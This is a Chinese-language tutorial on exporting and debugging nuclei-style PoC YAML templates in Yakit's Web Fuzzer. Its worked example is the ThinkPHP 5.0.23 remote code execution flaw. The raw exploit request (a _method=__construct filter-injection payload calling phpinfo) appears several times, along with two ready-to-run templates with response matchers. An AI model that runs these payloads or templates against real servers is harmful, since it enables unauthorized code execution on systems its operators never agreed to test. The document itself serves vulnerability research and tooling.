PoC免写攻略
字数 1198 2025-08-10 08:28:00
Yakit Web Fuzzer 一键导出 PoC 教学文档
1. PoC 概念与重要性
PoC (Proof of Concept) 在网络安全领域起着重要作用:
- 用于安全研究、漏洞发现和漏洞利用
- 传统 PoC 编写流程存在效率问题:
- 手动测试 → 编写 PoC → 调试 PoC → 批量使用
- 各阶段关联性差,耗费不必要的工作时间
2. Yakit 的 PoC 解决方案
Yakit 在 Web Fuzzer 中提供新功能:
- 一键导出 PoC YAML
- 联动的调试功能
- 打通 PoC 工作流程,实现"免写"PoC
3. 实战案例:ThinkPHP 5.0.23 RCE 漏洞 PoC
3.1 漏洞背景
ThinkPHP 5.0.23 及以下版本存在 RCE 漏洞:
- 获取 method 的方法未正确处理方法名
- 攻击者可调用 Request 类任意方法并构造利用链
- 导致远程代码执行
3.2 Web Fuzzer 手动验证
构造触发数据包
POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
此数据包可执行 phpinfo 函数
验证响应 - 匹配器
合理判断标准:响应同时包含以下关键字
- ThinkPHP
- PHP Version
- PHP Extension
匹配器配置:
- 位于 Web Fuzzer 高级配置栏
- 三种匹配模式:
- 丢弃:符合匹配器时丢弃返回包
- 保留:符合匹配器时保留返回包,其余丢弃
- 仅匹配:符合匹配器时染色返回包
设置步骤:
- 点击"添加匹配器"
- 设置匹配规则:
- 匹配关系:AND
- 匹配范围:全部响应
- 匹配三个关键字
- 应用设置后重新发送数据包验证
3.3 导出 PoC YAML
导出方式
Web Fuzzer 右上角两个按钮:
- 直接导出 PoC
- 转到调试 PoC
PoC 结构
Yakit 兼容 nuclei PoC 模板,支持两种模式:
Raw 模式示例:
id: WebFuzzer-Template-UuMDryDU
info:
name: WebFuzzer Template UuMDryDU
author: god
severity: low
description: write your description here
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
verified: true
yakit-info:
sign: 4a59ba760cdf626429aa3c22ab3dcfa0
http:
- raw:
- |
@timeout: 30s
POST /index.php?s=captcha HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- ThinkPHP
- PHP Version
- PHP Extension
condition: and
Path 模式示例:
id: WebFuzzer-Template-oZqWchul
info:
name: WebFuzzer Template oZqWchul
author: god
severity: low
description: write your description here
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
verified: true
yakit-info:
sign: 69a05e9c6fc674153565cbbe1e868464
http:
- method: POST
path:
- '{{RootUrl}}index.php'
headers:
Content-Type: application/x-www-form-urlencoded
Host: 172.29.228.154:8080
body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- ThinkPHP
- PHP Version
- PHP Extension
condition: and
yakit-sign 字段
- 作用:保护 PoC 数据正确性和完整性
- 对重要数据(raw、method、headers等)进行签名
- 在插件生态中用于:
- 验证 PoC 是否被意外改动
- 筛选可信赖的插件
3.4 PoC 调试
调试流程:
- 在 Web Fuzzer 页面点击"生成 YAML 模板"按钮
- 自动跳转到插件调试页面
- 配置调试目标(支持域名、IP、URL)
- 执行调试,查看:
- 调试流量
- 插件信息
- 控制台输出
保存插件:
调试完成后,点击"存为插件"按钮,将 YAML PoC 保存为可批量使用的插件
4. 总结
Yakit Web Fuzzer 的 PoC 功能优势:
- 简化 PoC 编写流程:
- 手动测试 → 自动导出 → 调试 → 批量使用
- 提供完整的 PoC 生命周期管理
- 通过签名机制保证 PoC 完整性
- 与插件系统无缝集成
使用此功能可显著提高安全研究人员的工作效率,将精力集中在漏洞发现而非重复性的 PoC 编写工作上。